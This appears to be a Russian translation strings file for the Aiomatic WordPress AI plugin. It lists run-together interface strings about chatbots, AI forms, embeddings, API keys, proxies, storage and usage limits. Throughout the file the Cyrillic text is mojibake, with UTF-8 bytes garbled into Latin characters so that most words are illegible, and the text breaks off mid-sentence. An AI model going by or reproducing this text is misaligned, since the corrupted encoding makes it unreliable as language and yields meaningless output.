(Ð¡ÐµÐ²ÐµÑ€Ð½Ð°Ñ ÐšÐ°Ð»Ð¸Ñ„Ð¾Ñ€Ð½Ð¸Ñ)Запад СШР1 (Орегон)Запад СШР2 (Орегон)USDукраинецУкраинÑкий (переводчик гугл)Окончательное членÑтво ProÐ’ РаÑширенных ÐаÑтройкахПод ПолÑми ВводаПод Полем РезультатовТекÑÑ‚ под заголовком Понимание того, Как Ñто работаетÐеожиданный код ответа HTTP: %s К Ñожалению, Ð²Ñ€ÐµÐ¼Ñ Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð¿Ð¾ умолчанию Ð´Ð»Ñ Cloudflare уÑтановлено на 100 Ñекунд. Это означает, что еÑли вы иÑпользуете план Cloudflare по умолчанию и не можете получить вÑе ответы от OpenAI в течение 100-Ñекундного окна, Cloudflare доÑтигнет предела времени ожиданиÑ, что приведет к полной оÑтановке ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð°. Однако у пользователей CloudFlare Enterprise еÑÑ‚ÑŒ возможноÑÑ‚ÑŒ увеличить Ñтот лимит времени Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ Ð´Ð¾ 6000 Ñекунд либо через API Cloudflare, либо обратившиÑÑŒ в Ñлужбу поддержки клиентов. Обратите внимание, что только план CloudFlare Enterprise позволит изменить Ñти ÐаÑтройки.Обдьединенные ÐрабÑкие ЭмиратыСоединенное КоролевÑтвоСоединенные ШтатыРабота правительÑтва СШÐЕдиницыЕдиницы: КоличеÑтво единиц, иÑпользуемых Ð´Ð»Ñ Ð·Ð°Ð¿Ñ€Ð¾Ñа.ÐеизвеÑтный ÑÑ‚Ð°Ñ‚ÑƒÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ "%s"РаÑкройте иÑтинный потенциал Ñкрытых функций Aiomatic, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð²Ð¾Ð·Ð¼Ð¾Ð¶Ð½Ð¾Ñти иÑкуÑÑтвенного интеллекта Ð´Ð»Ñ Ð¾Ð¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð°Ñ†Ð¸Ð¸ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð¾Ð¼, оптимизации медиатеки, взаимодейÑÑ‚Ð²Ð¸Ñ Ñ Ð°ÑƒÐ´Ð¸Ñ‚Ð¾Ñ€Ð¸ÐµÐ¹ и Ð¿Ð¾Ð²Ñ‹ÑˆÐµÐ½Ð¸Ñ Ð²Ð¸Ð·ÑƒÐ°Ð»ÑŒÐ½Ð¾Ð³Ð¾ воздейÑÑ‚Ð²Ð¸Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ веб-Ñайта. Пришло Ð²Ñ€ÐµÐ¼Ñ Ð¿Ð¾Ð´Ð½ÑÑ‚ÑŒ ваш опыт работы Ñ WordPress на новую выÑоту Ñ Aiomatic!Параметры API Unsplah:Обновить иÑточник ПоÑтыОбновите ÑущеÑтвующий ID ПоÑта (необÑзательно)ОбновленоЗагрузитьЗагрузите новый файл аÑÑиÑтентаЗагрузить новый файлМеÑто загрузки:Загрузить Ðовый ФайлЗагрузить файл OmniBlockОшибка загрузки:Загрузить в OpenAIЗагрузкаУрдуУрду (переводчик гугл)Графики иÑпользованиÑЛимиты иÑпользованиÑЖурналы иÑпользованиÑПоÑÑ‚ об ограниченAI иÑпользованиÑИÑпользуйте Ñгенерированные AI Заголовки ПоÑтовИÑпользуйте Ñгенерированные AI Заголовки ПоÑтов:ИÑпользуйте AI, чтобы выбрать изображение по умолчанию Ð´Ð»Ñ Ð¿Ð¾Ñтов:ИÑпользуйте альтернативные токены Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶ÐµÐ½Ð¸Ñ (ÑкÑпериментальные):ИÑпользуйте ÐÑинхронный Метод Проводки :ИÑпользуйте Функции ÐижеИÑпользуйте Разные ПоиÑковые ЗапроÑÑ‹ Ð´Ð»Ñ Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹Ð˜Ñпользуйте неÑколько ключей API при Ñоздании одного и того же поÑта:ИÑпользуйте прокÑи также Ð´Ð»Ñ Ð´Ð¾Ñтупа к API OpenAI:ИÑпользуйте Тотже ПоиÑковый Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð´Ð»Ñ Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ð¹Ð˜Ñпользуйте заголовки из Ð¿Ð¾Ð»Ñ ÐаÑтроек «СпиÑок Заголовоков ПоÑтов»ИÑпользуйте приведенную выше Промпт Ñодержимого, чтобы Ñоздать вÑÑŽ Статью (не каждый Раздел)ИÑпользуйте приведенный выше Промпт Контента, чтобы Ñоздать вÑÑŽ Статью (не каждый Раздел):ИÑпользуйте Ñледующий шорткод, чтобы добавить наÑтроенный Чат-бот на Ñвой Ñайт:ПользовательЦвет фона вÑплывающего окна пользователÑ:Менеджер диалогов пользователейЦвет пользовательÑкого шрифта:Ð˜Ð¼Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ:ПоÑÑ‚ Ñ ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð½Ñ‹Ð¼ ДоÑтупом Ð´Ð»Ñ ÐŸÐ¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹:Роль ПользователÑ:Данные разговора Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð±Ñ‹Ð»Ð¸ удалены.Пользователь: Пользователь, Ñделавший запроÑ.ИÑпользуете CloudFlare Ð´Ð»Ñ Ñтого Ñайта?ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ API TextRazor, получает ÑвÑзанные ÑущноÑти по ключевым Ñловам.ИÑпользуете веб-Ñервер LiteSpeed â€‹â€‹Ð´Ð»Ñ Ñтого веб-Ñайта?ИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð´Ð°Ð½Ð½Ñ‹Ðµ из URL-адреÑа webhook, запуÑкайте правила OmniBlock автоматичеÑки, даже еÑли они не запланированы. URL-Ð°Ð´Ñ€ÐµÑ Ð²ÐµÐ±Ñ…ÑƒÐºÐ°: %%webhook_url%%.ИÑпользование маÑтера контентаИÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñту функцию, вы Ñможете автоматичеÑки Ñоздавать Данные Ð´Ð»Ñ Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð¸Ð· ПоÑтов, которые вы уже опубликовали на Ñвоем Ñайте. Ð’Ñ‹ можете наÑтроить плагин на ÐвтоматичеÑкое ИндекÑирование ПоÑтов, Страниц, Продуктов или любого пользовательÑкого типа ПоÑтов. Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð±ÑƒÐ´ÑƒÑ‚ автоматичеÑки Ñозданы Ñ Ð¸Ñпользованием их данных. Ð’Ñ‹ можете изменить шаблон, который иÑпользуетÑÑ Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð’Ñтраиваний, в меню «ОÑновные наÑтройки» плагина -> вкладка «ВÑтраиваниÑ» -> поле наÑтроек «ÐвтоматичеÑки Ñозданный шаблон вÑтраиваниÑ».По какому ключевому Ñлову или фразе мне Ñледует иÑкать информацию в Интернете, чтобы получить результаты, отноÑÑщиеÑÑ Ðº Ñледующему текÑту? Укажите только одну поиÑковую фразу или ключевое Ñлово, больше ничего не пишите. ТекÑÑ‚ Ñледующий: "%%original_prompt%%"?УйгурÑкийУйгурÑкий (Google Translate)УзбекÑкийУзбекÑкий (переводчик гугл)ВеличинаКлюч API ValueSERP (необÑзательно) (иÑпользуетÑÑ Ð´Ð»Ñ ÑвÑзанных Заголовоков и доÑтупа в Интернет Ð´Ð»Ñ AI)ValueSERP API:Ключ ValueSERP (необÑзательно)ВекторВертикальныйВидеоVideo CFG Scale:ПодпиÑÑŒ к Видео МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° Символов в ПромптахПодпиÑÑŒ к Видео МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° Символов в Промптах:Предпочтительные Языки Субтитров к ВидеоПредпочтительные Языки Субтитров к Видео:ПоиÑк видео по ключевым ÑловамVideo Motion Bucket ID:вьетнамÑкийВьетнамÑкий (переводчик Google)ПоÑмотретьПоÑмотреть Ñозданные ПоÑтыПоÑмотреть большеПроÑмотр БеÑеды ПользователÑПроÑмотр деталейПоÑетитьПоÑетите домашнюю Ñтраницу ПлагинаЗайдите на Ñвой Ñайт и найдите Чат-бота. ВзаимодейÑтвуйте Ñ Ð§Ð°Ñ‚-ботом, Ð²Ð²Ð¾Ð´Ñ Ð²Ð¾Ð¿Ñ€Ð¾ÑÑ‹ или фразы в окно чата. УбедитеÑÑŒ, что чат-бот отвечает надлежащим образом в ÑоответÑтвии Ñ Ð¾Ð¿Ñ€ÐµÐ´ÐµÐ»ÐµÐ½Ð½Ñ‹Ð¼Ð¸ вами Правилами.VividМодель ГолоÑа AI:Цвет ГолоÑовой Кнопки:Язык ГолоÑа:Ð˜Ð¼Ñ Ð“Ð¾Ð»Ð¾Ñа:Ð’Ñ‹Ñота ГолоÑа:Повышение ÑходÑтва голоÑа:СкороÑÑ‚ÑŒ ГолоÑа:СтабильноÑÑ‚ÑŒ голоÑа:Режим отладки WPРежим отладки WP:WP Max Upload SizeWP Max Upload Size:WP Memory LimitWP Memory Limit:WP МультиÑайтWP МультиÑайт:WP-верÑиÑWP-верÑиÑ:WP-CLIÐаÑтройки WP-CLI:WP-Cron urlЯзык WPML/PolylangВнимание! Ð’ вашем PHP INI max_execution_time меньше 1000 Ñекунд (%s). Это означает, что выполнение плагина будет принудительно оÑтановлено вашим Ñервером по иÑтечении Ñтого количеÑтва Ñекунд. ПожалуйÑта, увеличьте Ñто значение, чтобы плагин работал правильно. ПожалуйÑта, проверьте наÑтройки Ñервера, here.Wasabi API Key:Wasabi API Secret:Ð˜Ð¼Ñ ÐšÐ¾Ñ€Ð·Ð¸Ð½Ñ‹ Wasabi:Регион Корзины Wasabi:Wasabi Каталог:Wasabi ÐаÑтройки:СпиÑок ÐдреÑов Веб-ПрокÑи:Проверка подлинноÑти веб-прокÑи:Веб-Ñкрапинг (парÑинг) API Ключ WebhookПроÑлушиватель WebhookURL вебхукаВнедрение веб-ÑайтаÐеделюДобро ПожаловатьДобро Пожаловать в Automatic AI Редактор КонтентаДобро Пожаловать в Плагин Aiomatic!Добро пожаловать в Ñто подробное руководÑтво о том, как иÑпользовать функцию автоматичеÑкого Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ¾Ñтов Плагина Aiomatic. Этот мощный инÑтрумент иÑпользует иÑкуÑÑтвенный интеллект Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¸ ÑƒÐ»ÑƒÑ‡ÑˆÐµÐ½Ð¸Ñ Ð²Ð°ÑˆÐ¸Ñ… ПоÑтов WordPress, ÑÐºÐ¾Ð½Ð¾Ð¼Ñ Ð²Ð°ÑˆÐµ Ð²Ñ€ÐµÐ¼Ñ Ð¸ уÑилиÑ, обеÑÐ¿ÐµÑ‡Ð¸Ð²Ð°Ñ Ð¿Ñ€Ð¸ Ñтом оптимизацию и привлекательноÑÑ‚ÑŒ вашего Контента. ÐезавиÑимо от того, публикуете ли вы новые ПоÑÑ‚Ñ‹, ÑоÑтавлÑете Контент или редактируете ÑущеÑтвующие ПоÑÑ‚Ñ‹, Плагин Aiomatic можно наÑтроить Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого Ð¿Ñ€Ð¸Ð¼ÐµÐ½ÐµÐ½Ð¸Ñ Ñ€Ñда правок. К ним отноÑÑÑ‚ÑÑ Ð¿ÐµÑ€ÐµÐ¿Ð¸Ñывание Контента, Ðазначение Избранных Изображений, добавление или добавление Контента, Ñозданного AI, добавление Внутренних СÑылок, вÑтавка СвÑзанных Комментариев и Ñоздание Мета-ОпиÑаний SEO.Добро пожаловать в Ñто вÑеобъемлющее руководÑтво по функциональноÑти AI Playground Плагина Aiomatic. Этот мощный инÑтрумент иÑпользует возможноÑти иÑкуÑÑтвенного интеллекта, чтобы предоÑтавить широкий Ñпектр функций, которые могут улучшить ваш цифровой опыт. Ð’ Ñтом руководÑтве мы раÑÑмотрим неÑколько ключевых функций AI Playground, Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½ÑƒÑŽ ЧаÑÑ‚ÑŒ текÑта, Редактирование текÑта, Создание изображений Ñ Ð¸Ñпользованием технологий AI, таких как DALL-E 2 и Stable Diffusion, функцию Чат-бота, Преобразование речи в текÑÑ‚ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Whisper. API и Модерацию текÑта. Каждую из Ñтих функций можно иÑпользовать различными ÑпоÑобами Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° и ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¸Ð¼, взаимодейÑÑ‚Ð²Ð¸Ñ Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñми и многого другого.ВаллийÑкийВаллийÑкий (переводчик Google)Что Сгенерировать?Что такое AI ÐÑÑиÑтенты?Что такое Формы AI?Что такое Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð² GPT-3?Какие Категории или Теги не редактировать: ЕÑли еÑÑ‚ÑŒ определенные Категории или Теги, которые вы не хотите редактировать, вы можете указать их здеÑÑŒ.Что такое Aiomatic?Что такое Ð¢Ð¾Ð½ÐºÐ°Ñ ÐаÑтройка в GPT-3?Какие Типы ПоÑтов редактировать: выберите Типы ПоÑтов, которые вы хотите редактировать. Это могут быть ПоÑÑ‚Ñ‹ в Блогах, Страницы или любые пользовательÑкие Типы ПоÑтов, которые еÑÑ‚ÑŒ на вашем Ñайте.Какую температуру отбора проб иÑпользовать. Более выÑокие Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¾Ð·Ð½Ð°Ñ‡Ð°ÑŽÑ‚, что модель будет подвергатьÑÑ Ð±Ð¾Ð»ÑŒÑˆÐµÐ¼Ñƒ риÑку. Попробуйте 0,9 Ð´Ð»Ñ Ð±Ð¾Ð»ÐµÐµ креативных приложений и 0 (выборка argmax) Ð´Ð»Ñ Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ð¹ Ñ Ñ‡ÐµÑ‚ÐºÐ¾ определенным ответом. Обычно мы рекомендуем изменить Ñто или top_p, но не оба.Что ОграничитьЧто Ограничить:При Ñоздании Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð²Ð°Ð¶Ð½Ð¾ вÑегда помнить о Ñоздании выÑококачеÑтвенного Ðабора Данных, так как Ñто поможет AI writer, получить более правильный КонтекÑÑ‚.При Точной ÐаÑтройке Модели важно помнить о неÑкольких вещах, таких как качеÑтво Ðабора Данных и Параметры Модели, которые будут Ñкорректированы. Кроме того, важно отÑлеживать ПроизводительноÑÑ‚ÑŒ Модели во Ð²Ñ€ÐµÐ¼Ñ Ð¸ поÑле Тонкой ÐаÑтройки.Когда редактировать ПоÑÑ‚Ñ‹: выберите, хотите ли вы, чтобы ПоÑÑ‚Ñ‹ редактировалиÑÑŒ, когда они публикуютÑÑ, ÑоÑтавлÑÑŽÑ‚ÑÑ Ð² Черновике или уÑтанавливаютÑÑ ÐºÐ°Ðº Ожидающие раÑÑмотрениÑ.При иÑпользовании режима 'ПоÑтинг на оÑнове названиÑ', еÑли вы уÑтановите в поле наÑтроек 'Минимальное количеÑтво Ñимволов в AI-контенте' большое количеÑтво Ñимволов, то при добавлении здеÑÑŒ промпта завершениÑ, он будет добавлен к текÑту, который отправлÑетÑÑ AI Создателю, Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶ÐµÐ½Ð¸Ñ...При иÑпользовании режима «ПоÑтинг на оÑнове заголовка», еÑли вы уÑтановите в поле наÑтроек «Минимальное количеÑтво Ñимволов AI-контента» большое количеÑтво Ñимволов, то при добавлении Ñюда промпта Ð´Ð»Ñ Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ, он будет добавлен ​​к текÑту, который отправлÑетÑÑ AI Создателю, Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð´Ð¾Ð»Ð¶ÐµÐ½Ð¸Ñ..ÐезавиÑимо от того, включен ли у Ð²Ð°Ñ Ð¼ÑƒÐ»ÑŒÑ‚Ð¸Ñайт WordPress.Ðа какие ПоÑÑ‚Ñ‹ должно повлиÑÑ‚ÑŒ маÑÑовое редактирование AI:Какой пробоотборник иÑпользовать Ð´Ð»Ñ Ð¿Ñ€Ð¾Ñ†ÐµÑÑа диффузAI. ЕÑли Ñто значение опущено, мы автоматичеÑки выберем Ð´Ð»Ñ Ð²Ð°Ñ Ð¿Ð¾Ð´Ñ…Ð¾Ð´Ñщий ÑÑмплер.Whisper перевод речи в текÑтФункции WordPress из Белого СпиÑка:С AI Forms вы можете Ñоздавать полноÑтью ÐаÑтраиваемые Формы, которые можно будет иÑпользовать Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Шорткода [aiomatic-form id="FORM_ID"]. Ð’Ñ‹ можете Ñоздавать ТекÑтовые Формы, Формы Изображений Dalle-2 или Формы Изображений Stable Diffusion. Ð’Ñ‹ можете Ñоздавать ÐаÑтраиваемые ÐŸÐ¾Ð»Ñ Ð’Ð²Ð¾Ð´Ð° неÑкольких Типов Ð´Ð»Ñ Ñозданных Форм, где пользователи Ñмогут определÑÑ‚ÑŒ желаемые Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð’Ð²Ð¾Ð´Ð°. Эти ÐŸÐ¾Ð»Ñ Ð’Ð²Ð¾Ð´Ð° можно будет заменить в Промптых, которые вы определÑете Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ Формы, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¨Ð¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ в Ñледующем формате: %%input_field_ID%%.С избранными изображениÑмиВ абÑолюте день предÑтавлÑет ÑегоднÑшний день. Ð’ противном Ñлучае он предÑтавлÑет поÑледние 24 чаÑа Ñ Ð½Ð°ÑтоÑщего момента. Та же логика применима и к другим таймфреймам.Без избранных изображенийWordPress (по умолчанию)WordPress Cron JobСреда WordPressРаботающий...Ðапишите ОпиÑание Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ AIÐапишите Отдельное SEO-ОпиÑаниеÐапишите увлекательное и краткое резюме на английÑком Ñзыке Ð´Ð»Ñ WordPress %s: «%s», подчеркнув его оÑновные функции, преимущеÑтва и отличительные качеÑтва.Стиль пиÑьмаСтиль пиÑьма:Тон пиÑьмаТон пиÑьма:X (Twitter) URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ð¾ÑтаШаблон поÑта X (Twitter)КоÑаКхоÑа (Google Translate)Ð“Ð¾Ð´Ð—Ð°Ð¿Ñ€Ð¾Ñ Ð³Ð¾Ð´Ð°:ДаИдишИдиш (переводчик гугл)ЙорубаЙоруба (переводчик Google)Вам не разрешен доÑтуп к Ñтой форме, еÑли вы не вошли в ÑиÑтему. ПожалуйÑта , войдите , чтобы продолжить.Ð’Ñ‹ не можете активировать Плагины!Вам не разрешено выполнÑÑ‚ÑŒ Ñто дейÑтвие!Вам не разрешено выполнÑÑ‚ÑŒ Ñтот запроÑВам не разрешено Ñто делать.Ð’Ñ‹ можете добавить Чат-бота глобально на Ñвой Ñайт или локально в ПоÑÑ‚Ñ‹ или Страницы. Чтобы добавить Чат-бота локально, вы можете иÑпользовать Шорткод [aiomatic-chat-form]. ЕÑли вы хотите добавить его глобально, вам нужно перейти на Ñтраницу ÐаÑтроек Плагина, перейти в Меню Плагина «AI Chatbot» и перейти на вкладку «Внедрение Чат-бота на Ñайт». Выберите, где вы хотите, чтобы Чат-бот отображалÑÑ Ð½Ð° вашем веб-Ñайте (например, на вÑех передних и внутренних Страницах, за иÑключением Страниц, на которых вы не хотите, чтобы Чат-бот поÑвлÑлÑÑ).Ð’Ñ‹ можете добавить значение Ñтого ÐŸÐ¾Ð»Ñ Ð² Промпт Форму Ñнизу, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñтот ШорткодВы также можете добавить на Ñвой Ñайт полноÑтью наÑтраиваемого чат-бота, чтобы взаимодейÑтвовать Ñ Ð¿Ð¾ÑетителÑми и предоÑтавлÑÑ‚ÑŒ им необходимую информацию в режиме реального времени.Ð’Ñ‹ также можете изменить ÑÑ‚Ð°Ñ‚ÑƒÑ ÐŸÐ¾Ñтов поÑле их редактированиÑ, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¿Ð¾Ð»Ðµ ÐаÑтроек «Изменить Ð¡Ñ‚Ð°Ñ‚ÑƒÑ ÐŸÐ¾Ñта ПоÑле РедактированиÑ».Ð’Ñ‹ также можете начать Ñоздавать Ñвои ÑобÑтвенные формы AI. Ð”Ð»Ñ Ñтого перейдите на вкладку «Добавить новую форму AI» и начните наÑтройку ÑобÑтвенных форм. Ð’Ñ‹ можете выбирать между неÑколькими типами форм (текÑÑ‚, изображение Dall-E или изображение Stable Diffusion), уÑтанавливать Ð¸Ð¼Ñ Ð¸ опиÑание формы (которое может отображатьÑÑ Ð² верхней чаÑти формы в виде заголовков формы). Ð’Ñ‹ также можете Ñоздать неÑколько полей ввода (неÑколько типов), иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ½Ð¾Ð¿ÐºÑƒ «Добавить новое поле ввода формы», ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð±ÑƒÐ´ÐµÑ‚ иÑпользоватьÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñми Ð´Ð»Ñ Ð²Ð²Ð¾Ð´Ð° Ñвоих данных. Ð”Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ Ð¿Ð¾Ð»Ñ Ð²Ð²Ð¾Ð´Ð° вы можете уÑтановить «ID», который будет иÑпользоватьÑÑ Ð² качеÑтве короткого кода (и заменÑÑ‚ÑŒÑÑ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸ÐµÐ¼, введенным пользователем) в промпте AI, которую вы определÑете в форме, которую вы Ñоздаете, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ñтот формат: %%input_ID%%. Ð’Ñ‹ также Ñможете уÑтановить некоторые дополнительные наÑтройки модели AI и наÑтроить текÑÑ‚ кнопки отправки формы. Ð”Ð»Ñ Ð±Ð¾Ð»ÐµÐµ детальной наÑтройки AI Формы вы можете проверить меню «ОÑновные наÑтройки» плагина -> вкладка «AI Формы».Ð’Ñ‹ также можете иÑпользовать Google ДиÑк Ð´Ð»Ñ Ñ…Ñ€Ð°Ð½ÐµÐ½Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð² CSV:Ð’Ñ‹ можете изменить Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ð¾ умолчанию Ð´Ð»Ñ Ð²Ñ‹ÑˆÐµÑƒÐºÐ°Ð·Ð°Ð½Ð½Ñ‹Ñ… полей, здеÑÑŒ.Ð’Ñ‹ можете загрузить файлы .csv или .jsonl.Ð’Ñ‹ можете наÑтроить AI-формы в интерфейÑе вашего Ñайта, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ Ð¨Ð¾Ñ€Ñ‚ÐºÐ¾Ð´ [aiomatic-form id="FORM_ID"]. Ð’Ñ‹ можете получить Шорткод Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð¹ формы на вкладке «СпиÑок Форм AI» Ñверху. ЗдеÑÑŒ вы Ñможете управлÑÑ‚ÑŒ (редактировать, удалÑÑ‚ÑŒ, проÑматривать) Созданные Формы AI.ЗдеÑÑŒ вы можете иÑпользовать Ñледующие шорткоды: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%%, %%random_sentence%%, %%random_sentence2%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие Ð¿Ð¾Ð»Ñ (post meta), которые назначаютÑÑ Ð¿Ð¾Ñтам Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в таком формате: %%!custom_field_slug!%%. Ð’Ñ‹ также можете иÑпользовать пользовательÑкие мета-Ð¿Ð¾Ð»Ñ (user meta), которые назначаютÑÑ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñм Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ пользовательÑких шорткодов в формате: %%~custom_field_slug~%%. Пример: еÑли вы хотите добавить данные, импортированные из пользовательÑкого Ð¿Ð¾Ð»Ñ post_data, иÑпользуйте Ñтот шорткод: %%!post_data!%%. Длина Ñтой команды не должна превышать макÑимальное количеÑтво токенов, уÑтановленное в наÑтройках команды промпта - Обновление: также поддерживаютÑÑ Ð²Ð»Ð¾Ð¶ÐµÐ½Ð½Ñ‹Ðµ шорткоды (шорткоды, Ñозданные по правилам других плагинов).Ð’Ñ‹ можете иÑпользовать Ñтот код Ð´Ð»Ñ Ð²ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð§Ð°Ñ‚-бота на другие Ñайты:Ð’Ñ‹ можете иÑпользовать Ñту таблицу Ð´Ð»Ñ Ð¼Ð¾Ð½Ð¸Ñ‚Ð¾Ñ€Ð¸Ð½Ð³Ð° иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ»Ð°Ð³Ð¸Ð½Ð° и отÑÐ»ÐµÐ¶Ð¸Ð²Ð°Ð½Ð¸Ñ Ð»ÑŽÐ±Ñ‹Ñ… необычных дейÑтвий.Ð’Ñ‹ доÑтигли предела иÑпользованиÑ.Ð’Ñ‹ должны добавить API-ключ Pinecone или Qdrant в меню "ОÑновные наÑтройки" плагина (вкладка "API-ключи"), прежде чем Ñможете иÑпользовать Ñту функцию!Ð’Ñ‹ должны добавить Ð¸Ð½Ð´ÐµÐºÑ Pinecone или Qdrant в меню "ОÑновные наÑтройки" плагина (вкладка Ð’ÑтраиваниÑ), прежде чем Ñможете иÑпользовать Ñту функцию!Ð’Ñ‹ должны добавить ключ API OpenAI в меню «ОÑновные ÐаÑтройки» Плагина, прежде чем Ñможете иÑпользовать Ñту функцию!Ð’Ñ‹ должны добавить API-ключ OpenAI/AiomaticAPI в меню «ОÑновные ÐаÑтройки» Плагина, прежде чем Ñможете иÑпользовать Ñту функцию!Ð’Ñ‹ должны ввеÑти Ñекретное Ñлово выше, чтобы иÑпользовать Ñту функцию.Чтобы шорткод работал, необходимо добавить API-ключ PlagiarismCheck в наÑтройках плагина.Вам нужно добавить ÑпиÑок идентификаторов перÑон в параметре шорткода ai_personas.Чтобы Ñто работало, необходимо добавить API-ключ в наÑтройках плагина.Вам нужно включить Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ Ð§Ð°Ñ‚-бота -> перейдите на вкладку «ВÑтраиваниÑ» в том же меню и уÑтановите флажок «Включить вÑтраивание длÑ»-> «Шорткоды Чат-бота» -> Ñохраните наÑтройки.Чтобы Ñто Ñработало, необходимо включить Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ Ð§Ð°Ñ‚-бота.Вам нужно включить PDF-чат в наÑтройках плагина.Вам необходимо уÑтановить флажок «Включить отÑлеживание иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð»Ñ ÑтатиÑтики и лимитов иÑпользованиÑ» в меню «ОÑновные ÐаÑтройки» Плагина, чтобы включить Ñту функцию.Вам необходимо ввеÑти ключ API ElevenLabs.io, ключ API D-ID или ключ Google Text-to-Speech API на вкладке «Ключи API» и Ñохранить наÑтройки, чтобы иÑпользовать Ñту функцию.Чтобы Ñто работало, 